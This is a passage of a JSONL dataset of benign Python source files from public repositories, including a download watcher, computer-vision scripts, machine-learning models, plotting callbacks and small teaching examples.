self.log(\"Checking for active downloads.. \\n\")\n\n last_size = self.watcher.folder_sizes() # random initial value\n self.timer.wait(timeout=10)\n new_size = self.watcher.folder_sizes() # random initial value\n\n if self.timer.is_set():\n self.log(\"Watcher stopped. \\n\", color=\"red\")\n self.running = False\n return\n\n if last_size == new_size:\n self.log(\"No active downloads found. \\n\", color=\"red\")\n self.running = False\n return\n else:\n self.log(\"Updates \")\n self.log(\"found. \\n\", color=\"green\")\n self.log(\"Updating.. \\n\")\n\n while self.watcher.is_updating(last_size, new_size):\n last_size = self.watcher.folder_sizes()\n if not self.timer.is_set():\n self.timer.wait(timeout=60)\n\n if self.timer.is_set():\n self.log(\"Watcher stopped. \\n\", color=\"red\")\n self.running = False\n return\n new_size = self.watcher.folder_sizes()\n\n self.log(\"Finishing up.. \\n\")\n self.timer.wait(timeout=300)\n self.log(\"Updating finished. \\n\")\n self.log(\"Shutting down computer. \\n\")\n self.running = False\n subprocess.call([\"shutdown\", \"/s\"])\n\n def watch_thread(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n\n if not self.watcher.get_folders():\n self.log(\"Warning: \", \"orange\")\n self.log(\"No directories added. \\n\")\n return\n self.thread = threading.Thread(target=self.watch)\n self.thread.start()\n\n def stop(self):\n if not self.running:\n return\n self.running = False\n self.timer.set()\n\n def run(self):\n self.window.mainloop()\n\n def on_exit(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n else:\n self.window.destroy()\n\n\ndef main():\n app = Application()\n app.run()\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "nicovanbentum/Utility-Scripts", "license": "MIT"}
+{"text": "from django.apps import AppConfig\n\n\nclass MypageConfig(AppConfig):\n name = 'mypage'\n", "source": "shotastage/neco-sys", "license": "MIT"}
+{"text": "from molecules.dna_molecule import DNAMolecule\nfrom molecules.dna_sequence import DNASequence\n\n\nclass GelElectrophoresis:\n \"\"\"\n Produce the Gel Electrophoresis procedure to sort DNA molecules by their size.\n \"\"\"\n\n @staticmethod\n def run_gel(dna_molecules):\n \"\"\"\n Runs the Gel Electrophoresis procedure to sort DNA molecules by their size.\n\n :param dna_molecules: DNA molecules.\n :return: Sorted list of the DNA molecules given.\n \"\"\"\n molecules = list(dna_molecules)\n molecules.sort(key=lambda mol: mol.length)\n return molecules\n\n\nif __name__ == '__main__':\n dna_sequences = [\n DNASequence.create_random_sequence(size=20),\n DNASequence.create_random_sequence(size=10),\n DNASequence.create_random_sequence(size=30),\n DNASequence.create_random_sequence(size=5),\n DNASequence.create_random_sequence(size=15)\n ]\n\n ex_dna_molecules = [\n DNAMolecule(dna_sequences[index], dna_sequences[index].get_complement())\n for index in range(len(dna_sequences))\n ]\n\n print('DNA molecules:')\n for molecule in ex_dna_molecules:\n print(f'{molecule}\\n')\n\n print('\\nRun Gel Electrophoresis on DNA molecules:')\n gel_dna_molecules = GelElectrophoresis.run_gel(ex_dna_molecules)\n\n print('Results DNA molecules:')\n for molecule in gel_dna_molecules:\n print(f'{molecule}\\n')\n\n\n", "source": "shakedmanes/molecular-computation", "license": "MIT"}
+{"text": "import os\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nclass DrawGraphs:\n def __init__(self,path_ONLY):\n self.path_ONLY=path_ONLY\n if not os.path.exists(\"./MakeGraph/graphs/\"):\n os.makedirs(\"./MakeGraph/graphs/\")\n\n def DrawEmotion(self,emotiondataarray):\n colors = [\"#ff0000\", \"#ffff00\", \"#000000\", \"#0000ff\", \"#00ff00\"]\n ylist = [[], [], [], [], []]\n for i in range(5):\n for j in range(len(emotiondataarray)):\n ylist[i].append(emotiondataarray[j][i])\n x=list(range(len(emotiondataarray)))\n print(x)\n fig=plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n linetype='-'\n title='detected emotions (Face only) ' + self.path_ONLY\n for i in range(5):\n ax.plot(x,ylist[i],linetype,c=colors[i],linewidth=1)\n\n # \u6c4e\u7528\u8981\u7d20\n ax.grid(True)\n ax.set_xlabel('frame [?]')\n ax.set_ylabel('exist rate')\n ax.set_title(title)\n ax.legend(['angry','happy','neutral','sad','surprise'])\n fig.canvas.draw()\n im = np.array(fig.canvas.renderer.buffer_rgba())\n return im", "source": "nao0423/A_MIA_R3", "license": "MIT"}
+{"text": "while True:\n print('\\n--- MULTIPLICATION TABLE ---')\n num = int(input('Type a number integer: '))\n if num < 0:\n break\n for c in range(1, 11):\n print(f'{c} X {num} = {c*num}')\nprint('END PROGRAM')", "source": "lucadomingues/Python", "license": "MIT"}
+{"text": "import picamera\nfrom time import sleep\nfrom time import time\nimport os\nimport numpy as np\nimport cv2\nimport imutils\nimport argparse\nimport face_recognition\nfrom camera.check_rectangle_overlap import check_rectangle_overlap\n\n# https://picamera.readthedocs.io/en/release-1.0/api.html\n\n\ndef get_number_faces():\n time_now = int(time())\n\n # take picture\n camera = picamera.PiCamera()\n camera.resolution = (1024, 768)\n camera.start_preview()\n sleep(3)\n camera.capture('./camera/images/{}.jpg'.format(time_now))\n camera.stop_preview()\n print('picture taken')\n\n # human detector with opencv\n HOGCV = cv2.HOGDescriptor()\n HOGCV.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n # read image and use the model\n image = cv2.imread('./camera/images/{}.jpg'.format(time_now))\n image = imutils.resize(image, width = min(800, image.shape[1])) \n bounding_box_cordinates, weights = HOGCV.detectMultiScale(image, winStride = (4, 4), padding = (8, 8))\n # change coordinates to list and recognize person if the Confidence Value is higher than 0.60\n people_count = 0\n people_coord = []\n for item in range(len(bounding_box_cordinates)):\n if weights[item][0] > 0.70:\n people_coord.append(list(bounding_box_cordinates[item]))\n people_count += 1\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n # count number of faces in picture with face_recognition\n face_locations = face_recognition.face_locations(image)\n num_faces = len(face_locations)\n face_coord = [list(item) for item in face_locations]\n \n # compare opencv and face_recognition results. If face is within the rectangle from opencv substract one face since, the face belongs to the same person.\n for person in people_coord:\n for face in face_coord:\n if check_rectangle_overlap(person, face):\n num_faces -= 1\n people_from_both_libraries = people_count + num_faces\n\n print('opencv has recogniced {0} people and face_recognition {1} faces'.format(people_count, num_faces))\n \n # save picture only has faces on it\n pic_name = ''\n if people_from_both_libraries:\n pic_name = '{0}_{1}_people.jpg'.format(time_now, people_from_both_libraries)\n # draw retangles to compare results\n # opencv coordinates\n for person in people_coord:\n cv2.rectangle(image, (person[0], person[1]), (person[0]+person[2],person[1]+person[3]), (0,255,0), 2)\n # face_recognition coordinates\n for item in face_coord:\n cv2.rectangle(image, (item[3], item[2]), (item[1],item[0]), (0,255,0), 2)\n cv2.imwrite('./camera/images/{}'.format(pic_name), image)\n os.remove('./camera/images/{}.jpg'.format(time_now))\n else:\n os.remove('./camera/images/{}.jpg'.format(time_now))\n\n return people_from_both_libraries, pic_name\n\n \n\n", "source": "Dangaran/home_station_project", "license": "CC0-1.0"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nMetodo per la stima dell'ordine\n\"\"\"\nimport numpy as np\ndef stima_ordine(xks,num_iterazioni):\n k = num_iterazioni - 3\n return np.log(abs(xks[k+2]-xks[k+3])/abs(xks[k+1]-xks[k+2])) / np.log(abs(xks[k+1]-xks[k+2])/abs(xks[k]-xks[k+1]))", "source": "Ro0t-set/metodi-numerici", "license": "MIT"}
+{"text": "import argparse\nimport glob\nimport os, shutil\n\n\nimport cv2\n\nfrom YoloObjectDetector import YoloObjectDetector\nparser = argparse.ArgumentParser(description=\"Detect Objects in all images in the given folder.\")\nparser.add_argument(\"-s\", \"--size\", dest=\"size\", default=\"320\", type=str, help=\"Spatial Size (tiny, 320, 416, 608), default: 320\")\nparser.add_argument(\"input\", type=str, help=\"Input folder.\")\nargs = parser.parse_args()\n\nmodelSize = args.size\nprint(\"Using size \" + modelSize)\n\ndetector = YoloObjectDetector(modelSize)\n\nsrcFolder = args.input\nprint(\"Using imagefolder \" + srcFolder)\n\nif os.path.exists(\"target\"):\n shutil.rmtree(\"target\")\n\nos.mkdir(\"target\")\nfiles = glob.glob(srcFolder + \"/**/*.jpg\", recursive=True)\nnumberFiles = len(files)\nfor idx, filename in enumerate(files):\n print(\"{0:3.2f}% ({1:d}/{2:d})\".format((100/numberFiles)*idx, idx, numberFiles))\n if os.path.isfile(filename): # filter dirs\n print(filename)\n image = cv2.imread(filename)\n\n image = detector.processImage(image)\n if image is not None:\n output = os.path.join(\"target\", os.path.basename(filename))\n cv2.imwrite(output, image)\n", "source": "pklink/python-opencv", "license": "Apache-2.0"}
+{"text": "import torch\nimport torch.nn as nn\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# Precomputed coordinate grids dictionary, with (tensor device, tensor size) as the keys.\nbackwarp_tenGrid = {}\n\n# backwarp and multiwarp are doing backward warping using the forward flow.\n# backwarp feature maps according to flow. ten: tensor?\ndef backwarp(tenInput, tenFlow):\n k = (str(tenFlow.device), str(tenFlow.size()))\n if k not in backwarp_tenGrid:\n tenHorizontal = torch.linspace(-1.0, 1.0, tenFlow.shape[3], device=device).view(\n 1, 1, 1, tenFlow.shape[3]).expand(tenFlow.shape[0], -1, tenFlow.shape[2], -1)\n tenVertical = torch.linspace(-1.0, 1.0, tenFlow.shape[2], device=device).view(\n 1, 1, tenFlow.shape[2], 1).expand(tenFlow.shape[0], -1, -1, tenFlow.shape[3])\n backwarp_tenGrid[k] = torch.cat(\n [tenHorizontal, tenVertical], 1).to(device)\n \n # channel 0: x (horizontal), channel 1: y (vertical).\n tenFlow = torch.cat([tenFlow[:, 0:1, :, :] / ((tenInput.shape[3] - 1.0) / 2.0),\n tenFlow[:, 1:2, :, :] / ((tenInput.shape[2] - 1.0) / 2.0)], 1)\n\n g = (backwarp_tenGrid[k] + tenFlow).permute(0, 2, 3, 1)\n return torch.nn.functional.grid_sample(input=tenInput, grid=g, mode='bilinear', padding_mode='border', align_corners=True)\n\n\n# Warp images with multiple groups of flow, and combine them into one group with flow group attention.\n# If M==1, multiwarp falls back to backwarp.\ndef multiwarp(img0, img1, multiflow, multimask_score, M):\n img0_warped_list = []\n img1_warped_list = []\n multimaskm0_score_list = []\n multimaskm1_score_list = []\n # multiflow at dim=1: \n # flowm0_1, flowm0_2, ..., flowm0_M, flowm1_1, flowm1_2, ..., flowm1_M\n # m0 means flow from middle to img0, m1 means flow from middle to img1.\n # Each block has 2 channels.\n for i in range(M):\n # mid -> 0 flow to warp img0, which approximates mid.\n img0_warped = backwarp(img0, multiflow[:, i*2 : i*2+2])\n img0_warped_list.append(img0_warped)\n # Warp the mask scores. The scores are generated mostly based on\n # unwarped images, and there's misalignment between warped images and unwarped \n # scores. Therefore, we need to warp the mask scores as well.\n # But doing so only leads to very slight improvement (~0.02 psnr).\n maskm0_score_warped = backwarp(multimask_score[:, [i]], multiflow[:, i*2 : i*2+2])\n multimaskm0_score_list.append(maskm0_score_warped)\n\n if img1 is not None:\n # m->1 flow to warp img1, which approximates mid.\n # m->1 flow starts from the 2*M-th channel.\n img1_warped = backwarp(img1, multiflow[:, 2*M+i*2 : 2*M+i*2+2])\n img1_warped_list.append(img1_warped)\n maskm1_score_warped = backwarp(multimask_score[:, [i+M]], multiflow[:, i*2+2*M : i*2+2*M+2])\n multimaskm1_score_list.append(maskm1_score_warped)\n else:\n # placeholder.\n img1_warped_list.append(None)\n\n if M == 1:\n return img0_warped_list[0], img1_warped_list[0]\n\n # multimask_score: 2*M+1 channels. 2*M for M groups of ML/MR flow attention scores, \n # ML: 0.5 -> 0, MR: 0.5 -> 1.\n # ML_0, ML_1, ..., ML_M, MR_0, ..., MR_M, ML~MR weight\n # 1: mask, for the warp0-warp1 combination weight.\n # For sofi, the global mask scores may be bidirectional. In that case, there are totally 2*M+2 channels.\n if img1 is not None:\n assert multimask_score.shape[1] == 2*M+1 or multimask_score.shape[1] == 2*M+2\n\n # img0_warped_list, img1_warped_list are two lists, each of length M.\n # => [16, M, 3, 224, 224]\n warped_img0s = torch.stack(img0_warped_list, dim=1)\n multimaskm0_score = torch.stack(multimaskm0_score_list, dim=1)\n # warp0_attn: [16, M, 1, 224, 224]\n warp0_attn = torch.softmax(multimaskm0_score, dim=1)\n img0_warped = (warp0_attn * warped_img0s).sum(dim=1)\n\n if img1 is not None:\n warped_img1s = torch.stack(img1_warped_list, dim=1)\n multimaskm1_score = torch.stack(multimaskm1_score_list, dim=1)\n warp1_attn = torch.softmax(multimaskm1_score, dim=1)\n img1_warped = (warp1_attn * warped_img1s).sum(dim=1)\n else:\n img1_warped = None\n\n return img0_warped, img1_warped\n\n# Use flow group attention to combine multiple flow groups into one.\ndef multimerge_flow(multiflow, multimask_score, M):\n if M == 1:\n multiflowm0, multiflowm1 = multiflow[:, :2], multiflow[:, 2:4]\n flow = multiflow\n else:\n multiflowm0 = multiflow[:, :2*M]\n multiflowm1 = multiflow[:, 2*M:]\n # multiflow: [16, 4*M, 224, 224]\n mf_unpack_shape = list(multiflow.shape)\n mf_unpack_shape[1:2] = [M, 2]\n # multiflowm0, multiflowm1: [16, M, 2, 224, 224]\n multiflowm0_unpack = multiflowm0.reshape(mf_unpack_shape)\n multiflowm1_unpack = multiflowm1.reshape(mf_unpack_shape)\n # warp0_attn, warp1_attn: [16, M, 1, 224, 224]\n # multiflow is unwarped, so we don't need to warp the mask scores.\n warp0_attn = torch.softmax(multimask_score[:, :M], dim=1).unsqueeze(dim=2)\n warp1_attn = torch.softmax(multimask_score[:, M:2*M], dim=1).unsqueeze(dim=2)\n # flowm0, flowm1: [16, 2, 224, 224]\n flowm0 = (warp0_attn * multiflowm0_unpack).sum(dim=1)\n flowm1 = (warp1_attn * multiflowm1_unpack).sum(dim=1)\n flow = torch.cat([flowm0, flowm1], dim=1)\n return flow\n", "source": "askerlee/rift", "license": "MIT"}
+{"text": "import numpy as np\r\nimport sklearn.preprocessing as prep\r\nimport tensorflow as tf\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\n\r\ndef xavier_init(fan_in,fan_out,constant = 1):\r\n\tlow = -constant * np.sqrt(6.0 /(fan_in + fan_out))\r\n\thigh = constant * np.sqrt(6.0 /(fan_in + fan_out))\r\n\treturn tf.random_uniform((fan_in,fan_out),minval= low,maxval = high,dtype = tf.float32)\r\n\r\nclass AdditivaGaussianNoiseAutoencoder(object):\r\n\tdef __init__(self,n_input,n_hidden,transfer_function= tf.nn.softplus,optimizer= tf.train.AdamOptimizer(),scale=0.1):\r\n\t\tself.n_input\t= n_input\r\n\t\tself.n_hidden = n_hidden\r\n\t\tself.transfer = transfer_function\r\n\t\tself.scale = tf.placeholder(tf.float32)\r\n\t\tself.training_scale = scale\r\n\t\tnetwork_weights = self._initialize_weights()\r\n\t\tself.weights = network_weights\r\n\t\tself.x = tf.placeholder(tf.float32,[None,self.n_input])\r\n\t\tself.hidden = self.transfer(tf.add(tf.matmul(self.x+scale * tf.random_normal((n_input,)),\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.weights['w1']),self.weights['b1']))\r\n\t\tself.reconstruction = tf.add(tf.matmul(self.hidden,self.weights['w2']),self.weights['b2'])\r\n\t\r\n\t\tself.cost = 0.5 * tf.reduce_sum(tf.pow(tf.subtract(self.reconstruction,self.x),2.0))\r\n\t\tself.optimizer = optimizer.minimize(self.cost)\r\n\t\tinit = tf.global_variables_initializer()\r\n\t\tself.sess = tf.Session()\r\n\t\tself.sess.run(init)\r\n\tdef _initialize_weights(self):\r\n\t\tall_weights = dict()\r\n\t\tall_weights['w1'] = tf.Variable(xavier_init(self.n_input,self.n_hidden))\r\n\t\tall_weights['b1'] = tf.Variable(tf.zeros([self.n_hidden],dtype = tf.float32))\r\n\t\tall_weights['w2'] = tf.Variable(tf.zeros([self.n_hidden,self.n_input],dtype = tf.float32))\r\n\t\tall_weights['b2'] = tf.Variable(tf.zeros([self.n_input],dtype = tf.float32))\r\n\t\treturn all_weights\r\n\tdef partial_fit(self,X):\r\n\t\tcost, opt = self.sess.run((self.cost,self.optimizer),feed_dict= {self.x:X,self.scale:self.training_scale})\r\n\t\treturn cost\r\n\tdef calc_total_cost(self,X):\r\n\t\treturn self.sess.run(self.cost,feed_dict={self.x:X,self.scale:self.training_scale})\r\n\tdef transform(self,X):\r\n\t\treturn self.sess.run(self.hidden,feed_dict={self.x:X,self.scale:self.training_scale})\r\n\tdef generate(self,hidden = None):\r\n\t\tif hidden is none:\r\n\t\t\thidden = np.random.normal(size = self.weights[\"b1\"])\r\n\t\treturn self.sess.run(self.reconstruction,feed_dict= {self.hidden:hidden})\r\n\tdef reconstruct(self,X):\r\n\t\treturn self.sess.run(self.reconstruction,feed_dict={self.x:X,self.scale:self.training_scale})\r\n\tdef getWeights(self):\r\n\t\treturn self.sess.run(self.weights['w1'])\r\n\tdef getBisses(self):\r\n\t\treturn self.sess.run(self.weights['b1'])\r\n\r\n\t\t\r\nmnist = input_data.read_data_sets('MNIST_DATA',one_hot=True)\r\n\r\ndef standard_scale(X_train,X_test):\r\n\tpreprocessor = prep.StandardScaler().fit(X_train)\r\n\tX_train = preprocessor.transform(X_train)\r\n\tX_test = preprocessor.transform(X_test)\r\n\treturn X_train,X_test\r\ndef get_random_block_from_data(data,batch_size):\r\n\tstart_index = np.random.randint(0,len(data) - batch_size)\r\n\treturn data[start_index:(start_index + batch_size)]\r\nX_tain,X_test = standard_scale(mnist.train.images,mnist.test.images)\r\n\r\nn_samples = int(mnist.train.num_examples)\r\ntraining_epochs = 200\r\nbatch_size = 128\r\ndisplay_step = 1\r\n\r\nautoencoder = AdditivaGaussianNoiseAutoencoder(n_input = 784,n_hidden= 200,transfer_function = tf.nn.softplus,\r\n\t\t\t\t\t\t\t\t\t\t\t\toptimizer = tf.train.AdamOptimizer(learning_rate = 0.001),\r\n\t\t\t\t\t\t\t\t\t\t\t\tscale = 0.01)\r\nfor epoch in range(training_epochs):\r\n\tavg_cost = 0.\r\n\ttotal_batch = int(n_samples /batch_size)\r\n\tfor i in range(total_batch):\r\n\t\tbatch_xs = get_random_block_from_data(X_tain,batch_size)\r\n\t\tcost = autoencoder.partial_fit(batch_xs)\r\n\t\tavg_cost += cost /n_samples * batch_size\r\n\tif epoch % display_step == 0:\r\n\t\tprint(\"Epoch:\",'%04d'%(epoch+1),\"cost=\",\"{:.9f}\".format(avg_cost))\r\nprint (\"total cost:\" + str(autoencoder.calc_total_cost(X_test)))\r\n", "source": "a25765564/MLtest", "license": "MIT"}
+{"text": "import collections\nimport logging\n\nfrom event_model import DocumentRouter, RunRouter\nimport numpy\nfrom matplotlib.backends.backend_qt5agg import (\n FigureCanvasQTAgg as FigureCanvas,\n NavigationToolbar2QT as NavigationToolbar)\nimport matplotlib\nfrom qtpy.QtWidgets import ( # noqa\n QLabel,\n QWidget,\n QVBoxLayout,\n )\nfrom traitlets.traitlets import Bool, List, Set\nfrom traitlets.config import Configurable\n\nfrom .hints import hinted_fields, guess_dimensions # noqa\nfrom .image import LatestFrameImageManager\nfrom ..utils import load_config\n\nmatplotlib.use('Qt5Agg') # must set before importing matplotlib.pyplot\nimport matplotlib.pyplot as plt # noqa\n\n\nlog = logging.getLogger('bluesky_browser')\n\n\nclass LinePlotManager(Configurable):\n \"\"\"\n Manage the line plots for one FigureManager.\n \"\"\"\n omit_single_point_plot = Bool(True, config=True)\n\n def __init__(self, fig_manager, dimensions):\n self.update_config(load_config())\n self.fig_manager = fig_manager\n self.start_doc = None\n self.dimensions = dimensions\n self.dim_streams = set(stream for _, stream in self.dimensions)\n if len(self.dim_streams) > 1:\n raise NotImplementedError\n\n def __call__(self, name, start_doc):\n self.start_doc = start_doc\n return [], [self.subfactory]\n\n def subfactory(self, name, descriptor_doc):\n if self.omit_single_point_plot and self.start_doc.get('num_points') == 1:\n return []\n if len(self.dimensions) > 1:\n return [] # This is a job for Grid.\n fields = set(hinted_fields(descriptor_doc))\n # Filter out the fields with a data type or shape that we cannot\n # represent in a line plot.\n for field in list(fields):\n dtype = descriptor_doc['data_keys'][field]['dtype']\n if dtype not in ('number', 'integer'):\n fields.discard(field)\n ndim = len(descriptor_doc['data_keys'][field]['shape'] or [])\n if ndim != 0:\n fields.discard(field)\n\n callbacks = []\n dim_stream, = self.dim_streams # TODO Handle multiple dim_streams.\n if descriptor_doc.get('name') == dim_stream:\n dimension, = self.dimensions\n x_keys, stream_name = dimension\n fields -= set(x_keys)\n assert stream_name == dim_stream # TODO Handle multiple dim_streams.\n for x_key in x_keys:\n figure_label = f'Scalars v {x_key}'\n fig = self.fig_manager.get_figure(\n ('line', x_key, tuple(fields)), figure_label, len(fields), sharex=True)\n for y_key, ax in zip(fields, fig.axes):\n\n log.debug('plot %s against %s', y_key, x_key)\n\n ylabel = y_key\n y_units = descriptor_doc['data_keys'][y_key].get('units')\n ax.set_ylabel(y_key)\n if y_units:\n ylabel += f' [{y_units}]'\n # Set xlabel only on lowest axes, outside for loop below.\n\n def func(event_page, y_key=y_key):\n \"\"\"\n Extract x points and y points to plot out of an EventPage.\n\n This will be passed to LineWithPeaks.\n \"\"\"\n y_data = event_page['data'][y_key]\n if x_key == 'time':\n t0 = self.start_doc['time']\n x_data = numpy.asarray(event_page['time']) - t0\n elif x_key == 'seq_num':\n x_data = event_page['seq_num']\n else:\n x_data = event_page['data'][x_key]\n return x_data, y_data\n\n line = Line(func, ax=ax)\n callbacks.append(line)\n\n if fields:\n # Set the xlabel on the bottom-most axis.\n if x_key == 'time':\n xlabel = x_key\n x_units = 's'\n elif x_key == 'seq_num':\n xlabel = 'sequence number'\n x_units = None\n else:\n xlabel = x_key\n x_units = descriptor_doc['data_keys'][x_key].get('units')\n if x_units:\n xlabel += f' [{x_units}]'\n ax.set_xlabel(x_key)\n fig.tight_layout()\n # TODO Plot other streams against time.\n for callback in callbacks:\n callback('start', self.start_doc)\n callback('descriptor', descriptor_doc)\n return callbacks\n\n\nclass Line(DocumentRouter):\n \"\"\"\n Draw a matplotlib Line Arist update it for each Event.\n\n Parameters\n ----------\n func : callable\n This must accept an EventPage and return two lists of floats\n (x points and y points). The two lists must contain an equal number of\n items, but that number is arbitrary. That is, a given document may add\n one new point to the plot, no new points, or multiple new points.\n label_template : string\n This string will be formatted with the RunStart document. Any missing\n values will be filled with '?'. If the keyword argument 'label' is\n given, this argument will be ignored.\n ax : matplotlib Axes, optional\n If None, a new Figure and Axes are created.\n **kwargs\n Passed through to :meth:`Axes.plot` to style Line object.\n \"\"\"\n def __init__(self, func, *, label_template='{scan_id} [{uid:.8}]', ax=None, **kwargs):\n self.func = func\n if ax is None:\n import matplotlib.pyplot as plt\n _, ax = plt.subplots()\n self.ax = ax\n self.line, = ax.plot([], [], **kwargs)\n self.x_data = []\n self.y_data = []\n self.label_template = label_template\n self.label = kwargs.get('label')\n\n def start(self, doc):\n if self.label is None:\n d = collections.defaultdict(lambda: '?')\n d.update(**doc)\n label = self.label_template.format_map(d)\n else:\n label = self.label\n if label:\n self.line.set_label(label)\n self.ax.legend(loc='best')\n\n def event_page(self, doc):\n x, y = self.func(doc)\n self._update(x, y)\n\n def _update(self, x, y):\n \"\"\"\n Takes in new x and y points and redraws plot if they are not empty.\n \"\"\"\n if not len(x) == len(y):\n raise ValueError(\"User function is expected to provide the same \"\n \"number of x and y points. Got {len(x)} x points \"\n \"and {len(y)} y points.\")\n if not x:\n # No new data. Short-circuit.\n return\n self.x_data.extend(x)\n self.y_data.extend(y)\n self.line.set_data(self.x_data, self.y_data)\n self.ax.relim(visible_only=True)\n self.ax.autoscale_view(tight=True)\n self.ax.figure.canvas.draw_idle()\n\n\nclass Grid(DocumentRouter):\n \"\"\"\n Draw a matplotlib AxesImage Arist update it for each Event.\n\n The purposes of this callback is to create (on initialization) of a\n matplotlib grid image and then update it with new data for every `event`.\n NOTE: Some important parameters are fed in through **kwargs like `extent`\n which defines the axes min and max and `origin` which defines if the grid\n co-ordinates start in the bottom left or top left of the plot. For more\n info see https://matplotlib.org/tutorials/intermediate/imshow_extent.html\n or https://matplotlib.org/api/_as_gen/matplotlib.axes.Axes.imshow.html#matplotlib.axes.Axes.imshow\n\n Parameters\n ----------\n func : callable\n This must accept a BulkEvent and return three lists of floats (x\n grid co-ordinates, y grid co-ordinates and grid position intensity\n values). The three lists must contain an equal number of items, but\n that number is arbitrary. That is, a given document may add one new\n point, no new points or multiple new points to the plot.\n shape : tuple\n The (row, col) shape of the grid.\n ax : matplotlib Axes, optional.\n if ``None``, a new Figure and Axes are created.\n **kwargs\n Passed through to :meth:`Axes.imshow` to style the AxesImage object.\n \"\"\"\n def __init__(self, func, shape, *, ax=None, **kwargs):\n self.func = func\n self.shape = shape\n if ax is None:\n _, ax = plt.subplots()\n self.ax = ax\n self.grid_data = numpy.full(self.shape, numpy.nan)\n self.image, = ax.imshow(self.grid_data, **kwargs)\n\n def event_page(self, doc):\n '''\n Takes in a bulk_events document and updates grid_data with the values\n returned from self.func(doc)\n\n Parameters\n ----------\n doc : dict\n The bulk event dictionary that contains the 'data' and 'timestamps'\n associated with the bulk event.\n\n Returns\n -------\n x_coords, y_coords, I_vals : Lists\n These are lists of x co-ordinate, y co-ordinate and intensity\n values arising from the bulk event.\n '''\n x_coords, y_coords, I_vals = self.func(doc)\n self._update(x_coords, y_coords, I_vals)\n\n def _update(self, x_coords, y_coords, I_vals):\n '''\n Updates self.grid_data with the values from the lists x_coords,\n y_coords, I_vals.\n\n Parameters\n ----------\n x_coords, y_coords, I_vals : Lists\n These are lists of x co-ordinate, y co-ordinate and intensity\n values arising from the event. The length of all three lists must\n be the same.\n '''\n\n if not len(x_coords) == len(y_coords) == len(I_vals):\n raise ValueError(\"User function is expected to provide the same \"\n \"number of x, y and I points. Got {0} x points, \"\n \"{1} y points and {2} I values.\"\n \"\".format(len(x_coords), len(y_coords),\n len(I_vals)))\n\n if not x_coords:\n # No new data, Short-circuit.\n return\n\n # Update grid_data and the plot.\n self.grid_data[x_coords, y_coords] = I_vals\n self.image.set_array(self.grid_data)\n\n\nclass FigureManager(Configurable):\n \"\"\"\n For a given Viewer, encasulate the matplotlib Figures and associated tabs.\n \"\"\"\n factories = List([\n LinePlotManager,\n LatestFrameImageManager],\n config=True)\n enabled = Bool(True, config=True)\n exclude_streams = Set([], config=True)\n\n def __init__(self, add_tab):\n self.update_config(load_config())\n self.add_tab = add_tab\n self._figures = {}\n\n def get_figure(self, key, label, *args, **kwargs):\n try:\n return self._figures[key]\n except KeyError:\n return self._add_figure(key, label, *args, **kwargs)\n\n def _add_figure(self, key, label, *args, **kwargs):\n tab = QWidget()\n fig, _ = plt.subplots(*args, **kwargs)\n canvas = FigureCanvas(fig)\n canvas.setMinimumWidth(640)\n canvas.setParent(tab)\n toolbar = NavigationToolbar(canvas, tab)\n tab_label = QLabel(label)\n tab_label.setMaximumHeight(20)\n\n layout = QVBoxLayout()\n layout.addWidget(tab_label)\n layout.addWidget(canvas)\n layout.addWidget(toolbar)\n tab.setLayout(layout)\n self.add_tab(tab, label)\n self._figures[key] = fig\n return fig\n\n def __call__(self, name, start_doc):\n if not self.enabled:\n return [], []\n dimensions = start_doc.get('hints', {}).get('dimensions', guess_dimensions(start_doc))\n rr = RunRouter(\n [factory(self, dimensions) for factory in self.factories])\n rr('start', start_doc)\n return [rr], []\n", "source": "EliotGann/bluesky-browser", "license": "BSD-3-Clause"}
+{"text": "\n\"\"\"\nSelfium CLI Tools\n~~~~~~~~~~~~~~~~~~~\nAll cli functions used in Selfium project;\n:copyright: (c) 2021 - Caillou and ZeusHay;\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom .logo import *\nfrom .clear import *\nfrom .welcome import *\nfrom .tokenError import *\n", "source": "Hacker-1202/Selfium", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n@contact: lishulong.never@gmail.com\n@time: 2019/3/25 \u4e0b\u53489:43\n\"\"\"\n\nimport asyncio\n\n\nasync def consume():\n print('start consume...')\n await asyncio.sleep(10)\n print('end consume...')\n\n\nif __name__ == '__main__':\n tasks = [consume() for i in range(10)]\n\n loop = asyncio.get_event_loop()\n try:\n loop.run_until_complete(asyncio.wait(tasks))\n except KeyboardInterrupt as e:\n all = asyncio.Task.all_tasks()\n for t in all:\n print('cancel task')\n print(t.cancel())\n loop.stop()\n loop.run_forever()\n finally:\n loop.close()\n\n\"\"\"\nlishulongdeMBP:event_loop lishulong$ python cancel_task.py \nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\n^Ccancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\nlishulongdeMBP:event_loop lishulong$ \n\n\"\"\"\n", "source": "lishulongVI/Ilhabela", "license": "MIT"}
